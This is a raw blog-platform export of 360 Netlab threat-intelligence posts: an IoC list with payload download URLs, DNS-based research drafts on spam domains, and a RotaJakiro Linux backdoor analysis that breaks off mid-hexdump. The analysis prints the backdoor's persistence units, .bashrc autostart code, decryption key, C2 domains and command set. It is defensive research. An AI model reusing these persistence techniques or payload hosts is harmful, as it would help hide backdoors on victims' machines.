src=\"__GHOST_URL__/content/images/2021/03/microsoft_exchange_distribution_en.png\" class=\"kg-image\"/></a>\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), or email to netlab at 360\ndot cn.\n\n\n### IoC\nIP:\n```\n178.62.226.184\n157.245.47.214\n```\n\nMiner Proxy:\n```\n159.65.206.137:3333\n```\n\nURL:\n```\nhttp://178.62.226.184/mini-reverse.ps1 \nhttp://178.62.226.184/run.ps1\nhttp://178.62.226.184/config.json\nhttp://178.62.226.184/javacpl.exe\nhttp://178.62.226.184/WinRing0x64.sys\n```\n\nMD5:\n```\n79e2c9953f452f777d55749f01e5f3b7\n2d4d75e46f6de65fba2451da71686322\n0fe28f557e9997cd2750ff3fa86a659e\n67f2d42e30f6239114feafc9ffd009d8\n0c0195c48b6b8582fa6f6373032118da\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 605c3847d0d9b7000712cd1d |
post | null | 2021-03-25T09:58:44.000Z | 63873b9a8b1c1e0007f52fb4 | use-dns-data-produce-threat-intelligence-4 | 0 | 2021-03-25T11:45:59.000Z | public | draft | null | null | DNSMon: 用DNS数据进行威胁发现（4） | <!--kg-card-begin: markdown--><p><em><strong>----谈DNS基础设施的安全</strong></em></p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>本系列文章的前三篇基本内容虽然侧重点不同，但是实质上比较接近，即都是介绍如何利用DNSMon从DNS数据中发现恶意的程序和恶意网络攻击事件的蛛丝马迹进而拓展还原完整的攻击行为。这篇文章我们换个角度来看一下，仅从DNS数据出发，我们能发现什么有意思的东西。<br>
在本系列<a href="__GHOST_URL__/use-dns-data-produce-threat-intelligence/">第一篇文章</a>中提到，仅靠DNS数据，检测DGA和fastflux是比较高效的，这些都集中在恶意程序的检测层面。如果我们转向DNS系统的基础配置和针对DNS系统的风险发现，则可做的分析就比较多了。当然还是从数据出发，比较直观的可以检测的风险包括DNS配置失当，（递归或权威）DNS面临的DDoS攻击，尤其是前几年特别流行的伪随机子域名攻击等方面，DNS数据能够告诉我们几乎攻击发生时的一切信息。</p>
<p>这篇文章我们介绍DNS配置失当的问题，选取的目标域名为国内的政府网站(.gov.cn结尾的域名)。选择政府网站为目标的原因一个是能更直观的理解DNS配置失当的问题，再一个是政府网站的影响度会比较高。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">数据和规则</h2>
<p>出于说明问的角度，同时不再纠结历史数据，我们从DNSMon中筛选了最后活跃时间在今年（2021年）一月一日之后的PassiveDNS记录，大约12万条。从DNS安全的角度出发，主要发现了如下的问题：</p>
<h2 id="">异常点</h2>
<h3 id="">泛解析</h3>
<h3 id="ip">解析IP地址在境外</h3>
<h4 id="ip">解析IP地址为美军</h4>
<p><img src="__GHOST_URL__/content/images/2021/03/------IP.png" alt="------IP" loading="lazy"></p>
<h4 id="ipip">解析IP地址为知名IP</h4>
<h3 id="">解析地址为私有地址</h3>
<h3 id="iploopback">解析IP地址为loopback</h3>
<!--kg-card-end: markdown--> | ----谈DNS基础设施的安全
本系列文章的前三篇基本内容虽然侧重点不同，但是实质上比较接近，即都是介绍如何利用DNSMon从DNS数据中发现恶意的程序和恶意网络攻击事件的蛛丝马迹进而拓展还原完整的攻击行为。这篇文章我们换个角度来看一下，仅从DNS数据出发，我们能发现什么有意思的东西。
在本系列第一篇文章中提到，仅靠DNS数据，检测DGA和fastflux是比较高效的，这些都集中在恶意程序的检测层面。如果我们转向DNS系统的基础配置和针对DNS系统的风险发现，则可做的分析就比较多了。当然还是从数据出发，比较直观的可以检测的风险包括DNS配置失当，（递归或权威）DNS面临的DDoS攻击，尤其是前几年特别流行的伪随机子域名攻击等方面，DNS数据能够告诉我们几乎攻击发生时的一切信息。
这篇文章我们介绍DNS配置失当的问题，选取的目标域名为国内的政府网站(.gov.cn结尾的域名)。选择政府网站为目标的原因一个是能更直观的理解DNS配置失当的问题，再一个是政府网站的影响度会比较高。
数据和规则
出于说明问的角度，同时不再纠结历史数据，我们从DNSMon中筛选了最后活跃时间在今年（2021年）一月一日之后的PassiveDNS记录，大约12万条。从DNS安全的角度出发，主要发现了如下的问题：
异常点
泛解析
解析IP地址在境外
解析IP地址为美军
解析IP地址为知名IP
解析地址为私有地址
解析IP地址为loopback
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"***----谈DNS基础设施的安全***"}],["markdown",{"markdown":"本系列文章的前三篇基本内容虽然侧重点不同，但是实质上比较接近，即都是介绍如何利用DNSMon从DNS数据中发现恶意的程序和恶意网络攻击事件的蛛丝马迹进而拓展还原完整的攻击行为。这篇文章我们换个角度来看一下，仅从DNS数据出发，我们能发现什么有意思的东西。\n在本系列[第一篇文章](__GHOST_URL__/use-dns-data-produce-threat-intelligence/)中提到，仅靠DNS数据，检测DGA和fastflux是比较高效的，这些都集中在恶意程序的检测层面。如果我们转向DNS系统的基础配置和针对DNS系统的风险发现，则可做的分析就比较多了。当然还是从数据出发，比较直观的可以检测的风险包括DNS配置失当，（递归或权威）DNS面临的DDoS攻击，尤其是前几年特别流行的伪随机子域名攻击等方面，DNS数据能够告诉我们几乎攻击发生时的一切信息。\n\n这篇文章我们介绍DNS配置失当的问题，选取的目标域名为国内的政府网站(.gov.cn结尾的域名)。选择政府网站为目标的原因一个是能更直观的理解DNS配置失当的问题，再一个是政府网站的影响度会比较高。"}],["markdown",{"markdown":"## 数据和规则\n出于说明问的角度，同时不再纠结历史数据，我们从DNSMon中筛选了最后活跃时间在今年（2021年）一月一日之后的PassiveDNS记录，大约12万条。从DNS安全的角度出发，主要发现了如下的问题：\n\n## 异常点\n### 泛解析\n### 解析IP地址在境外\n#### 解析IP地址为美军\n\n#### 解析IP地址为知名IP\n### 解析地址为私有地址\n### 解析IP地址为loopback\n"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[1,"p",[]]],"ghostVersion":"3.0"} | 605c5ed4d0d9b7000712cd47 |
post | null | 2021-03-26T09:21:36.000Z | 63873b9a8b1c1e0007f52fb5 | dnsmon-yong-dnsshu-ju-jin-xing-wei-xie-fa-xian-4 | 0 | 2021-03-26T10:38:49.000Z | public | draft | null | null | DNSMon: 用DNS数据进行威胁发现（4） | <p>----用DNS数据发现大规模垃圾邮件的投递</p><p></p><!--kg-card-begin: markdown--><p>从2021年开始DNSMon相继看到以slot0为第一级label的域名，形如下表。并且从3月份开始，这类域名开始出现大规模的DNS请求访问。</p>
<pre><code>slot0.aberalunim.xyz
slot0.desceet.com
slot0.easketh.com
slot0.fianinc.com
slot0.gleccus.com
slot0.healforec.com
slot0.hibiscus-solution.com
slot0.mindrey.biz
slot0.rut-hagener.com
slot0.tonytonero.com
slot0.westlakeservice.net
</code></pre>
<h2 id="">数据之间的联系</h2>
<p>为了更好的观察他们之间的联系，从这些域名出发，对他们映射的IP地址的网段做DNS的反向查询，再次筛选slot0开头的域名，找到其他的上百个近似域名。然后将这些域名通过图系统进行关联，可以看到这些这些域名之间几乎没有特别紧密的关联，每个域名和他的基础设施之间几乎都是单线联系。如下图所示：<br>
<img src="__GHOST_URL__/content/images/2021/03/graph_no_connects.png" alt="graph_no_connects" loading="lazy"></p>
<p>不过尽管IP，注册人以及其他的节点缺乏关联，但是我们很快发现：</p>
<ol>
<li>这些域名有着近乎相同的子域名，包括dkim._domainkey. 和 _dmarc 。而DKIM和DMARC都是防垃圾邮件的机制。一般情况下都有相应的DNS TXT记录会保存相应域名的DKIM和DMARC信息。</li>
</ol>
<p><img src="__GHOST_URL__/content/images/2021/03/dmarc.png" alt="dmarc" loading="lazy"><img src="__GHOST_URL__/content/images/2021/03/dkim.png" alt="dkim" loading="lazy"></p>
<ol start="2">
<li>他们使用的IP尽管并不相同，但是网段却非常接近。从这一点来看，他们该业务租用的机房是比较一致的。</li>
</ol>
<p><img src="__GHOST_URL__/content/images/2021/03/IP.png" alt="IP" loading="lazy"></p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">投递垃圾邮件？</h2>
<p>从子域名的特征上，我们推断这组域名是和发送电子邮件相关的。<br>
通过进一步对图系统的扩展，我们找到了相应的邮件样本，邮件样本表明这些域名是投递垃圾邮件，并在附件中传播formbook，AgentTesla等恶意程序，由此判断他们是一组传播恶意程序的垃圾邮件僵尸网络。<br>
<img src="__GHOST_URL__/content/images/2021/03/abuse.ch.png" alt="abuse.ch" loading="lazy"></p>
<h2 id="">在证书上的关联</h2>
<p>在这些域名的注册邮箱中，有一个邮箱为 <code>[email protected]</code> ，通过DNSMon的证书库查询可以看到很多证书相关联的域名的子域名同样包含slot0，dmarc和dkim子域名，由此几乎可以确定这一组证书都是用来为投递垃圾邮件做的准备。</p>
<p>NOTE：这部分数据待补充，完善了证书库的索引之后可以添加相应内容。</p>
<h2 id="">数据规模</h2>
<p>DNSMon看到的规模在高峰期可以达到近50万级别的感染用户。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">参考资料：</h2>
<ol>
<li><a href="https://www.virustotal.com/gui/file/ab510019639f67d5dd13a95d406299c9006dccab6182a5d80aeb5de04d236b12/content/strings">https://www.virustotal.com/gui/file/ab510019639f67d5dd13a95d406299c9006dccab6182a5d80aeb5de04d236b12/content/strings</a></li>
<li><a href="https://bazaar.abuse.ch/sample/1ef855f52b63ceffa3fd30b6bc04bc3a2ffb64a6926d4bca436c0be6456cfd84/#yara">https://bazaar.abuse.ch/sample/1ef855f52b63ceffa3fd30b6bc04bc3a2ffb64a6926d4bca436c0be6456cfd84/#yara</a></li>
<li><a href="https://bazaar.abuse.ch/sample/95b8c1f748ebef3dcbad0fa3148d46d483d00620c3e56153e41fde8978daece9/">https://bazaar.abuse.ch/sample/95b8c1f748ebef3dcbad0fa3148d46d483d00620c3e56153e41fde8978daece9/</a></li>
</ol>
<!--kg-card-end: markdown--> | ----用DNS数据发现大规模垃圾邮件的投递
从2021年开始DNSMon相继看到以slot0为第一级label的域名，形如下表。并且从3月份开始，这类域名开始出现大规模的DNS请求访问。
slot0.aberalunim.xyz
slot0.desceet.com
slot0.easketh.com
slot0.fianinc.com
slot0.gleccus.com
slot0.healforec.com
slot0.hibiscus-solution.com
slot0.mindrey.biz
slot0.rut-hagener.com
slot0.tonytonero.com
slot0.westlakeservice.net
数据之间的联系
为了更好的观察他们之间的联系，从这些域名出发，对他们映射的IP地址的网段做DNS的反向查询，再次筛选slot0开头的域名，找到其他的上百个近似域名。然后将这些域名通过图系统进行关联，可以看到这些这些域名之间几乎没有特别紧密的关联，每个域名和他的基础设施之间几乎都是单线联系。如下图所示：
不过尽管IP，注册人以及其他的节点缺乏关联，但是我们很快发现：
1. 这些域名有着近乎相同的子域名，包括dkim._domainkey. 和 _dmarc 。而DKIM和DMARC都是防垃圾邮件的机制。一般情况下都有相应的DNS TXT记录会保存相应域名的DKIM和DMARC信息。
2. 他们使用的IP尽管并不相同，但是网段却非常接近。从这一点来看，他们该业务租用的机房是比较一致的。
投递垃圾邮件？
从子域名的特征上，我们推断这组域名是和发送电子邮件相关的。
通过进一步对图系统的扩展，我们找到了相应的邮件样本，邮件样本表明这些域名是投递垃圾邮件，并在附件中传播formbook，AgentTesla等恶意程序，由此判断他们是一组传播恶意程序的垃圾邮件僵尸网络。
在证书上的关联
在这些域名的注册邮箱中，有一个邮箱为 [email protected] ，通过DNSMon的证书库查询可以看到很多证书相关联的域名的子域名同样包含slot0，dmarc和dkim子域名，由此几乎可以确定这一组证书都是用来为投递垃圾邮件做的准备。
NOTE：这部分数据待补充，完善了证书库的索引之后可以添加相应内容。
数据规模
DNSMon看到的规模在高峰期可以达到近50万级别的感染用户。
参考资料：
1. https://www.virustotal.com/gui/file/ab510019639f67d5dd13a95d406299c9006dccab6182a5d80aeb5de04d236b12/content/strings
2. https://bazaar.abuse.ch/sample/1ef855f52b63ceffa3fd30b6bc04bc3a2ffb64a6926d4bca436c0be6456cfd84/#yara
3. https://bazaar.abuse.ch/sample/95b8c1f748ebef3dcbad0fa3148d46d483d00620c3e56153e41fde8978daece9/
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"从2021年开始DNSMon相继看到以slot0为第一级label的域名，形如下表。并且从3月份开始，这类域名开始出现大规模的DNS请求访问。\n```\nslot0.aberalunim.xyz\nslot0.desceet.com\nslot0.easketh.com\nslot0.fianinc.com\nslot0.gleccus.com\nslot0.healforec.com\nslot0.hibiscus-solution.com\nslot0.mindrey.biz\nslot0.rut-hagener.com\nslot0.tonytonero.com\nslot0.westlakeservice.net\n```\n\n## 数据之间的联系\n为了更好的观察他们之间的联系，从这些域名出发，对他们映射的IP地址的网段做DNS的反向查询，再次筛选slot0开头的域名，找到其他的上百个近似域名。然后将这些域名通过图系统进行关联，可以看到这些这些域名之间几乎没有特别紧密的关联，每个域名和他的基础设施之间几乎都是单线联系。如下图所示：\n\n\n不过尽管IP，注册人以及其他的节点缺乏关联，但是我们很快发现：\n\n1. 这些域名有着近乎相同的子域名，包括dkim.\\_domainkey. 和 \\_dmarc 。而DKIM和DMARC都是防垃圾邮件的机制。一般情况下都有相应的DNS TXT记录会保存相应域名的DKIM和DMARC信息。\n\n\n\n2. 他们使用的IP尽管并不相同，但是网段却非常接近。从这一点来看，他们该业务租用的机房是比较一致的。\n\n"}],["markdown",{"markdown":"## 投递垃圾邮件？\n从子域名的特征上，我们推断这组域名是和发送电子邮件相关的。\n通过进一步对图系统的扩展，我们找到了相应的邮件样本，邮件样本表明这些域名是投递垃圾邮件，并在附件中传播formbook，AgentTesla等恶意程序，由此判断他们是一组传播恶意程序的垃圾邮件僵尸网络。\n\n\n## 在证书上的关联\n在这些域名的注册邮箱中，有一个邮箱为 ```[email protected]``` ，通过DNSMon的证书库查询可以看到很多证书相关联的域名的子域名同样包含slot0，dmarc和dkim子域名，由此几乎可以确定这一组证书都是用来为投递垃圾邮件做的准备。\n\nNOTE：这部分数据待补充，完善了证书库的索引之后可以添加相应内容。\n\n## 数据规模\nDNSMon看到的规模在高峰期可以达到近50万级别的感染用户。"}],["markdown",{"markdown":"## 参考资料：\n1. https://www.virustotal.com/gui/file/ab510019639f67d5dd13a95d406299c9006dccab6182a5d80aeb5de04d236b12/content/strings\n2. https://bazaar.abuse.ch/sample/1ef855f52b63ceffa3fd30b6bc04bc3a2ffb64a6926d4bca436c0be6456cfd84/#yara\n3. https://bazaar.abuse.ch/sample/95b8c1f748ebef3dcbad0fa3148d46d483d00620c3e56153e41fde8978daece9/"}]],"markups":[],"sections":[[1,"p",[[0,[],0,"----用DNS数据发现大规模垃圾邮件的投递"]]],[1,"p",[]],[10,0],[10,1],[10,2],[1,"p",[]]],"ghostVersion":"3.0"} | 605da7a0d0d9b7000712cdaf |
post | null | 2021-04-18T12:25:23.000Z | 63873b9a8b1c1e0007f52fb6 | stealth_rotajakiro_backdoor_cn | 0 | 2021-04-29T03:13:38.000Z | public | published | null | 2021-04-28T13:29:22.000Z | 双头龙(RotaJakiro)，一个至少潜伏了3年的后门木马 | <!--kg-card-begin: markdown--><h2 id="">版权</h2>
<p>版权声明：本文为Netlab原创，依据 <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a> 许可证进行授权，转载请附上出处链接及本声明。</p>
<h2 id="">概述</h2>
<p>2021年3月25日，360 NETLAB的BotMon系统发现一个的VT 0检测的可疑ELF文件(MD5=64f6cfe44ba08b0babdd3904233c4857)，它会与4个业务类型截然不同的域名进行通信，端口均为TCP 443（HTTPS），但流量却并非TLS/SSL类型，这个异常行为引起了我们的兴趣，进一步分析发现它是一个针对Linux X64系统的后门木马，该家族<strong>至少已经存在3年</strong>但目前还是0检测。基于该家族使用rotate加密，并且运行后对root/non-root账户有不同的行为，犹如一只双头龙，一体双向，我们将它命名为<code>RotaJakiro</code>。</p>
<p>RotaJakiro隐蔽性较强，对加密算法使用比较多，包括：使用AES算法加密样本内的资源信息；C2通信综合使用了AES，XOR，ROTATE加密和ZLIB压缩算法。指令方面，RotaJakiro支持12种指令码，其中3种是和特定plugin相关的，遗憾的是目前我们并没有捕获到这类payload，因此并不知道它的真正目的。从广义的后门角度来看，RotaJakiro支持的功能可以归纳成以下4类：</p>
<ul>
<li>上报设备信息</li>
<li>窃取敏感的信息</li>
<li>文件/Plugin管理(查询，下载，删除)</li>
<li>执行特定的Plugin</li>
</ul>
<p>当所有分析结束后，我们尝试对RotaJakiro进行<code>溯源</code>，根据解密后的资源以及编码的风格的相似性，我们推测它是<a href="https://blog.avast.com/new-torii-botnet-threat-research">Torii Botnet</a>作者的又一作品。</p>
<h2 id="">潜伏了多少？</h2>
<p>我们从捕获的样本出发，寻找RotaJakiro同源者，最终发现了以下4个样本，它们在VT上都是0检测，从VT的First Seen时间来看，<strong>RotaJakiro至少已经存在了3年</strong>。</p>
<table>
<thead>
<tr>
<th>FileName</th>
<th>MD5</th>
<th>Detection</th>
<th>First Seen in VT</th>
</tr>
</thead>
<tbody>
<tr>
<td>systemd-daemon</td>
<td>1d45cd2c1283f927940c099b8fab593b</td>
<td>0/61</td>
<td>2018-05-16 04:22:59</td>
</tr>
<tr>
<td>systemd-daemon</td>
<td>11ad1e9b74b144d564825d65d7fb37d6</td>
<td>0/58</td>
<td>2018-12-25 08:02:05</td>
</tr>
<tr>
<td>systemd-daemon</td>
<td>5c0f375e92f551e8f2321b141c15c48f</td>
<td>0/56</td>
<td>2020-05-08 05:50:06</td>
</tr>
<tr>
<td>gvfsd-helper</td>
<td>64f6cfe44ba08b0babdd3904233c4857</td>
<td>0/61</td>
<td>2021-01-18 13:13:19</td>
</tr>
</tbody>
</table>
<p>这批样本都内嵌了以下4个C2，目前它们在VT上也是0检测。这4个C2域名有非常接近的<code>Crteated Updated Expired</code>时间，我们推测它们一直以来用于同一个业务，从这个角度来看，<strong>RotaJakiro背后的团伙至少已经活动了6年</strong>。</p>
<table>
<thead>
<tr>
<th>Domain</th>
<th>Detection</th>
<th>Created</th>
<th>Last Updated</th>
<th>Expired</th>
</tr>
</thead>
<tbody>
<tr>
<td>news.thaprior.net</td>
<td>0/83</td>
<td>2015-12-09 06:24:13</td>
<td>2020-12-03 07:24:33</td>
<td>2021-12-09 06:24:13</td>
</tr>
<tr>
<td>blog.eduelects.com</td>
<td>0/83</td>
<td>2015-12-10 13:12:52</td>
<td>2020-12-03 07:24:33</td>
<td>2021-12-10 13:12:52</td>
</tr>
<tr>
<td>cdn.mirror-codes.net</td>
<td>0/83</td>
<td>2015-12-09 06:24:19</td>
<td>2020-12-03 07:24:32</td>
<td>2021-12-09 06:24:19</td>
</tr>
<tr>
<td>status.sublineover.net</td>
<td>0/83</td>
<td>2015-12-09 06:24:24</td>
<td>2020-12-03 07:24:32</td>
<td>2021-12-09 06:24:24</td>
</tr>
</tbody>
</table>
<h2 id="">逆向分析</h2>
<p>4个RotaJakiro样本，时间分布从2018到2021，它们的功能非常接近，本文选取2021年的样本为分析对象，它的基本信息如下:</p>
<pre><code>MD5:64f6cfe44ba08b0babdd3904233c4857
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
Packer:No
</code></pre>
<p>从编码层面来说，RotaJakiro采用了动态AES，双层加密的通信协议等技术来对抗安全人员的二进制&网络流量分析。</p>
<p>从功能层面来说，RotaJakiro运行时首先会判断当时用户是root，还是non-root，不同的账户有不同的执行策略，然后使用AES&ROTATE解密出相关的敏感资源供后续的持久化，进程守护和单一实例使用，最后和C2建立通信，等待执行C2下发的指令。</p>
<p>下文将从上述角度出发剖析RotaJakiro具体实现。</p>
<h2 id="">样本对抗技巧</h2>
<ul>
<li>
<p>动态生成AES加密算法所需的常量表，防止算法被直接识别</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_dynaes.png" width="860px" />
</li>
<li>
<p>使用stack strings obfuscation技术存储加密的敏感资源信息</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_stack.png" width="860px" />
</li>
<li>
<p>使用双层加密的网络通信</p>
</li>
</ul>
<h2 id="">加密算法</h2>
<p>RotaJakiro中所有的敏感资源都是加密的，在IDA中我们可以看出解密方法<strong>dec_proc</strong>调用了60次，它是由AES，Rotate俩部分组成。</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_dec.png" width="860px" />
<p>AES解密入口如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_aes.png" width="860px" />
<p>其中aes_dec的采用的是AES-256, CBC模式，key&iv都是硬编码。</p>
<ul>
<li>
<p>key</p>
<pre><code>14 BA EE 23 8F 72 1A A6 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
</code></pre>
</li>
<li>
<p>iv</p>
<pre><code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
</code></pre>
</li>
</ul>
<p>Rotate解密入口如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_rota.png" width="860px" />
<p>所谓Rotate即循环移位，可以看出此处使用的<strong>循环左移</strong>，其中移位的次数由<code>plain_len(明文长度)&7</code>的值决定。</p>
<p>以解密以下C2密文为例：</p>
<pre><code>ff ba a2 3b cd 5b 7b 24 8c 5f e3 4b fc 56 5b 99
ac 91 cf e3 9a 27 d4 c9 6b 39 34 ce 69 ce 18 60
</code></pre>
<p>其与解密相关的各种参数如下图所示，密文长度为32字节，明文长度为26字节</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_exp.png" width="860px" />
<p>首先使用AES解密后得到以下“次级密文”：</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_valid.png" width="860px" />
<p>然后从<code>次级密文</code>中取出有效密文，其中<code>有效密文</code>从第8字节开始，长度为明文长度减8，此处即为26-8=18字节。</p>
<pre><code>98 1B DB D9 8B 59 19 5D 59 1B 59 D8 1D DC 8B D8
DB 5B
</code></pre>
<p>最后通过明文长度26可以计算26&7=2，得到移位的次数，将上述<code>有效密文</code>逐字节左移2位，就能得到C2明文。</p>
<pre><code>blog.eduelects.com
</code></pre>
<h2 id="">持久化</h2>
<p>RotaJakiro在实现持久功能时，对root/non-root用户做了区分，不同的账号采用了不同的技术。</p>
<h3 id="root">针对root账号的持久化实现</h3>
<ul>
<li>
<p>根据不同Linux系统发行版本，创建相应的自启动脚本<code>/etc/init/systemd-agent.conf</code>或者<code>/lib/systemd/system/systemd-agent.service</code>。</p>
<pre><code>Content of systemd-agent.conf
-----------------------------
#system-daemon - configure for system daemon
#This service causes system have an associated
#kernel object to be started on boot.
description "system daemon"
start on filesystem or runlevel [2345]
exec /bin/systemd/systemd-daemon
respawn
</code></pre>
<pre><code>Content of systemd-agent.service
-----------------------------
[Unit]
Description=System Daemon
Wants=network-online.target
After=network-online.target
[Service]
ExecStart=/usr/lib/systemd/systemd-daemon
Restart=always
[Install]
</code></pre>
</li>
<li>
<p>用于伪装的文件名，俩者2选1</p>
<pre><code>/bin/systemd/systemd-daemon
/usr/lib/systemd/systemd-daemon
</code></pre>
</li>
</ul>
<h3 id="nonroot">针对non-root账号的持久化实现</h3>
<ul>
<li>
<p>创建桌面环境的自启动脚本<code>$HOME/$.config/autostart/gnomehelper.desktop</code></p>
<pre><code>[Desktop Entry]
Type=Application
Exec=$HOME/.gvfsd/.profile/gvfsd-helper
</code></pre>
</li>
<li>
<p>修改.bashrc文件，创建shell环境的自启动脚本</p>
<pre><code># Add GNOME's helper designed to work with the I/O abstraction of GIO
# this environment variable is set, gvfsd will not start the fuse filesystem
if [ -d ${HOME} ]; then
${HOME}/.gvfsd/.profile/gvfsd-helper
fi
</code></pre>
</li>
<li>
<p>用于用于伪装的文件名，俩者同时存在</p>
<pre><code>$HOME/.dbus/sessions/session-dbus
$HOME/.gvfsd/.profile/gvfsd-helper
</code></pre>
</li>
</ul>
<h2 id="">进程守护</h2>
<p>RotaJakiro实现了进程守护以保护自身的运行，和持久化一样，对root/non-root用户有不同的实现方式。</p>
<h3 id="root">针对root账号的进程守护实现</h3>
<p>在root账号下运行时，根据不同Linux系统发行版本，通过向服务的配置文件中写入<code>Restart=always</code>或者<code>respawn</code>，当服务进程被结束时，会自动创建新进程。</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_rootcfg.png" width="860px" />
<p>实际效果如下图所示，可以看到systemd-daemon进程被结束后，立马就生成了新进程。</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_rootprot.png" width="860px" />
<h3 id="nonroot">针对non-root账号的进程守护实现</h3>
<p>在non-root账号下运行时，RotaJakiro生成<code>session-dbus</code>和<code>gvfsd-helper</code>俩个进程，它们监控着彼此的存活，当其中一方被结束时，另一方将其恢复，这是非常典型的双进程保护。</p>
<p>RotaJakiro的双进程保护是如何实现的呢？首先以shmget API创建一片共享内存，session-dbus和gvfsd-helper通过这片共享内存实现进程间通信，告诉对方的自己的PID。然后通过<code>/proc/[PID]</code>目录，动态地获取进程的存活情况。当发现对方进程死亡时，通过execvp创建进程，帮助死亡一方“复活”，大致流程如下图所示：</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_monitor.png" width="860px" />
<p>实际效果如下图所示，可以看到<code>session-dbus</code>和<code>gvfsd-helper</code>被kill -9结束后，新进程立马就创建了。</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_nonrprot.png" width="860px" />
<h2 id="">单一实例</h2>
<p>RotaJakiro通过文件锁来实现单一实例，具体实现如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_single.png" width="860px" /><br>
其中用到的<code>lockfile</code>在root/non-root账号下有所不同。</p>
<ul>
<li>
<p>root下的lockfile，2选1</p>
<pre><code>/usr/lib32/.X11/X0-lock
/bin/lib32/.X11/X0-lock
</code></pre>
</li>
<li>
<p>non-root下的lockfile，同时存在</p>
<pre><code>$HOME/.X11/X0-lock
$HOME/.X11/.X11-lock
</code></pre>
</li>
</ul>
<p>以实际中non-root账号为例，通过<code>/proc/locks</code>可以将进程以及文件锁对应起来，此时再执行对应的RotaJakiro的样本，可以看到并不会有对应的新进程创建。<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_instance.png" width="860px" /></p>
<h2 id="">网络通信</h2>
<p>RotaJakiro通过以下代码片段和C2建立通信，等待执行后续指令：</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_stage.png" width="860px" />
<p>这个过程可以分成2个阶段</p>
<ul>
<li>Stage 1，初始化阶段：解密出C2列表，和C2建立连接，发送上线信息，接回并解密C2返回的信息。</li>
<li>Stage 2，业务阶段：验证C2的返回信息，若通过验证，执行C2后续下发的指令。</li>
</ul>
<h3 id="stage1">Stage 1：初始化</h3>
<p>通过前文所述的解密算法解密出C2列表，目前样本中内置了以下4个C2：</p>
<pre><code>news.thaprior.net
blog.eduelects.com
cdn.mirror-codes.net
status.sublineover.net
</code></pre>
<p>RotaJakiro首先会尝试和它们建立连接，然后通过以下代码片段构造上线信息，</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_cons.png" width="860px" />
<p>接着将上线信息加密并发送给C2</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_xor.png" width="860px" />
<p>最后接收C2的回包，解密并校验其合法性，若通过校验，进入Stage 2。</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_recvreg.png" width="860px" />
<h3 id="stage2">Stage 2：具体业务</h3>
<p>通过以下代码片段接收并执行C2下发的指令：</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_stage2.png" width="860px" />
<p>目前RotaJakiro一共支持12条指令，指令码与功能的对应关系如下表所示：</p>
<table>
<thead>
<tr>
<th>CmdId</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x138E3E6</td>
<td>Exit</td>
</tr>
<tr>
<td>0x208307A</td>
<td>Test</td>
</tr>
<tr>
<td>0x5CCA727</td>
<td>Heartbeat</td>
</tr>
<tr>
<td>0x17B1CC4</td>
<td>Set C2 timeout time</td>
</tr>
<tr>
<td>0x25360EA</td>
<td>Streal Senstive Info</td>
</tr>
<tr>
<td>0x18320e0</td>
<td>Upload Device Info</td>
</tr>
<tr>
<td>0x2E25992</td>
<td>Deliver File/Plugin</td>
</tr>
<tr>
<td>0x2CD9070</td>
<td>Query File/Plugin Status</td>
</tr>
<tr>
<td>0x12B3629</td>
<td>Delete File/Plugin Or Dir</td>
</tr>
<tr>
<td>0x1B25503</td>
<td>Run Plugin_0x39C93E</td>
</tr>
<tr>
<td>0x1532E65</td>
<td>Run Plugin_0x75A7A2</td>
</tr>
<tr>
<td>0x25D5082</td>
<td>Run Plugin_0x536D01</td>
</tr>
</tbody>
</table>
<p>其中<code>Run Plugin</code>功能复用相同的代码，通过以下逻辑实现函数调用：<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_plugin.png" width="860px" /></p>
<p>我们目前被没有捕获到这类payload，因此用Plugin_“参数”的形式来表示不同的任务。</p>
<p>RotaJakiro的网络通信包如下图所示，由<code>head，key，payload</code>三部分组成，其中header是必须的，长度为82字节，而body&payload部分是可选的。head&key采用的XOR&Rotate加密，payload采用AES&ZLIB加密压缩。<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_packet.png" width="860px" /><br>
下面我们将通过BOT与C2的一轮交互，来说明网络流量<code>head&key&payload</code>的组成以及解密过程。</p>
<h3 id="c2bot">C2 -> BOT</h3>
<img src="__GHOST_URL__/content/images/2021/04/jak_cmd.png" width="860px" />
<p>读取前0x52字节，就是head的内容。head如何解密呢？方法很简单，<code>逐字节左移3位，然后和0x1b异或</code>即可，解密后得下以内容：</p>
<pre><code>00000000 16 11 10 b9 03 b1 0c fb 04 20 00 00 00 08 00 e0 |...¹.±.û. .....à|
00000010 20 83 01 c2 20 64 20 01 e2 00 00 00 00 c2 0c 00 | .. d .â....Â..|
